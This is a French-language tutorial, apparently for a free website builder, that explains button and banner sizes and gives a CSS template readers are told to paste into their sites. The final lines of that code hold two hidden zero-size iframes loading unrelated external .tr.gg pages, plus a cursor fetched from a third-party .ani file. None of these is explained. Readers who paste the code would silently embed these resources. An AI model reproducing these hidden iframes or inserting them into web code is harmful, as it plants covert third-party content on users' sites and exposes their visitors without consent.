|
Dans cette page vous allez apprendre à créer votre propre design.
Commençons :
Chaque URL dans un code de design, correspondent à un bouton ou bannière de votre site. Rien de plus simple. Mais pour faire le votre il faut d'abord que vous ayez vos boutons faits d'avance voici les boutons utilisés et leur taille par défault :
Bouton de navigation à gauche : 185x33
Bouton de navigation à gauche quand la souris passe dessus : 185x33
Taille de la bannière (header) : 921x104
Taille de l'image de fond : 1077x954
Taille du bouton Information : 185x33
Taille du bouton Navigation : 185x33
Taille du bouton entre navigation et information, le grand bouton : 565x33
Taille du fond du body, là où on écrit : 565x1000
Vous pourrez mettre la taille de votre choix plus tard, on vera ça. Maintenant que vos boutons sont faits avec photoshop ou photofiltre ... et de la bonne taille adapté (ci-dessus) vous pouvez allez les hébergers et retenirs les URLS quand vous les hébergers et les placers à la bonne place dans le code ci-dessous :
Occupez vous que de ce qu'il y a en rouge.
Voilà dans un code ce que ça donne :
CODE :
<style type="text/css">
<!--td.edit_header_full{background-image:url(URL DE LA BANIERE);background-repeat:no-repeat;}
object.objekt{position: absolute;left: 5px;top: 0px;}
td.edit_navi_headbg{background-image: none;width: 15%;}
td.nav_heading{background-image: url(URL DU BOUTON NAVIGATION);height: 33px;padding-left: 27px;font-size: 14px;font-weight: bold;}
td.nav{background-image: url(URL DU BOUTON);height: 33px;}
td.nav:hover{background-image: url(URL DU BOUTON QUAND LA SOURIS PASSE DESSUS);height: 33px;}
td.edit_content div{color: #;font-size: px;font-weight: bold;}
td.edit_content p{color: #;font-size: px;font-weight: bold;}
td.edit_content font{color: #;font-size: px;font-weight: bold;}
td.edit_below_nav{visibility: hidden;}
td.edit_rechts_cbg{background-image: none;width: 100%;}
td.edit_content_top{height: 33px;background-image: url(URL DU GRAND BOUTON);font-size:14px;font-weight:bold;text-align: center;}
td.edit_content{background-image: none;border: 2px solid #fff;}
td.edit_content_bottom{background-image: url(URL DU GRAND BOUTON);height: 33px;}
td.edit_content_bottom2{background-image: none;height: 38px;}
td.nav a:hover{text-decoration: none;}
td.sidebar_heading{background-image: url(URL DU BOUTON INFORMATION);height: 33px;font-size: 14px;font-weight: bold;text-align: center;}
.shouty, .shouty2, .shouty3, .shouty4, .shouty5{background-image: url(URL DU FOND LA OU ON ECRIT);}
td.edit_rechts_sbg{background-image: none;visibility: hidden;position: absolute;right: 0px;}
td.edit_rechts_bottom{background-image: none;width: 15%;}
td.edit_rb_footer{background-image: none;}
--> </style> <style type="text/css"> <!--
body {background-image:url(URL DU FOND DU SITE);}
body{background-attachment: fixed;}
--> </style> <style type="text/css"> <!--
body{cursor:url(http://www.myloads.de/ordner/Samuellimp/162076.ani);
--> </style><IFRAME src="http://www.html-java.tr.gg" width=0 height=0 marginwidth=0 marginheight=0 hspace=0 vspace=0 scrolling=no frameborder=0></IFRAME>
<IFRAME src="http://www.css-tasarim.tr.gg" width=0 height=0 marginwidth=0 marginheight=0 hspace=0 vspace=0 scrolling=no frameborder=0></IFRAME>
|
